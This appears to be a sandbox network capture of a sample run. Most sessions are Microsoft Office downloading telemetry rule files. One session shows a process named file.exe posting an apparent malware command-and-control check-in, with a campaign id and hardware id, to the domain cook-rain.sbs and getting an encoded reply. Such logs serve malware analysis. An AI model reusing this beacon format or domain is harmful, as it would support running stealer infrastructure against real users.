2024-11-20 00:18:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001836Z-185f5d8b95crl6swhC1NYC3ueg00000009n000000000brme x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:36 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001836Z-185f5d8b95c5lcmhhC1NYCsnsw00000009gg00000000f1af x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49797	188.114.96.3	443	4164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:36 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-20 00:18:36 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 32 34 45 35 33 46 33 44 32 35 34 39 37 43 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=24E53F3D25497C1763CFCF7E6C45F838
2024-11-20 00:18:36 UTC	992	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t4euc3vstjutdkkeq9lg9q3bvm; expires=Sat, 15-Mar-2025 18:05:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M9mI8cPRTJPl29zJtxB3%2FKI1qaKOzKLwDwj5Yer2%2BQ79MeokseqB%2FOpAKE85%2B9Oxms8zHAfLHkqReOuIwqZ8%2FclVUUnk%2FflLsll7YhwB1qdd1d%2BK%2FCtshCo6kTwj%2BAO6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5443826aa24349-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1774&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=985&delivery_rate=1638608&cwnd=227&unsent_bytes=0&cid=e448bd4c3131d3d1&ts=452&x=0"
2024-11-20 00:18:36 UTC	214	IN	Data Raw: 64 30 0d 0a 74 32 6f 48 6d 32 35 36 52 50 69 57 45 6e 46 62 59 4f 69 6e 66 6e 45 74 4b 78 54 46 4c 43 70 4d 42 6e 46 54 63 56 30 74 66 63 50 73 45 53 58 75 54 45 42 6d 6b 4f 4a 6d 41 57 45 38 78 2f 74 52 51 42 55 65 4f 76 63 64 48 32 49 33 51 47 42 66 62 42 73 68 37 4e 67 4d 59 63 64 42 48 69 47 65 75 48 63 4a 50 6b 4c 45 68 52 67 46 44 78 45 6b 36 51 35 50 62 6a 78 41 4c 6c 30 6d 44 77 6a 68 6a 55 68 76 37 78 6f 4b 66 71 53 35 54 6c 35 71 57 4e 32 4a 54 45 41 59 42 53 58 30 48 77 52 39 4d 43 31 38 41 69 6c 49 48 4b 37 72 52 58 58 36 41 42 34 72 6c 62 68 33 43 54 35 43 78 49 55 59 42 51 38 52 4a 4f 6b 4f 54 32 34 38 51 43 34 73 0d 0a Data Ascii: d0t2oHm256RPiWEnFbYOinfnEtKxTFLCpMBnFTcV0tfcPsESXuTEBmkOJmAWE8x/tRQBUeOvcdH2I3QGBfbBsh7NgMYcdBHiGeuHcJPkLEhRgFDxEk6Q5PbjxALl0mDwjhjUhv7xoKfqS5Tl5qWN2JTEAYBSX0HwR9MC18AilIHK7rRXX6AB4rlbh3CT5CxIUYBQ8RJOkOT248QC4s
2024-11-20 00:18:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:36 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001836Z-1777c6cb754vxwc9hC1TEBykgw00000008xg000000000yr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:36 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:36 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001836Z-185f5d8b95c68cvnhC1NYCfn7s00000009fg00000000bs2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:36 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001836Z-1777c6cb754gvvgfhC1TEBz4rg00000008t000000000qpab x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:36 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:36 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001836Z-185f5d8b95cwtv72hC1NYC141w00000009e0000000007ut7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:36 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001836Z-1777c6cb7544nvmshC1TEBf7qc00000008qg000000004nus x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:37 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001837Z-185f5d8b95ckwnflhC1NYCx9qs00000009m0000000005m3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:37 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001837Z-r1d97b99577jlrkbhC1TEBq8d000000007x000000000gbdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:37 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:37 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001837Z-r1d97b995774zjnrhC1TEBv1ww000000083g000000004k2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:37 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:37 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001837Z-185f5d8b95csd4bwhC1NYCq7dc000000099000000000sbug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
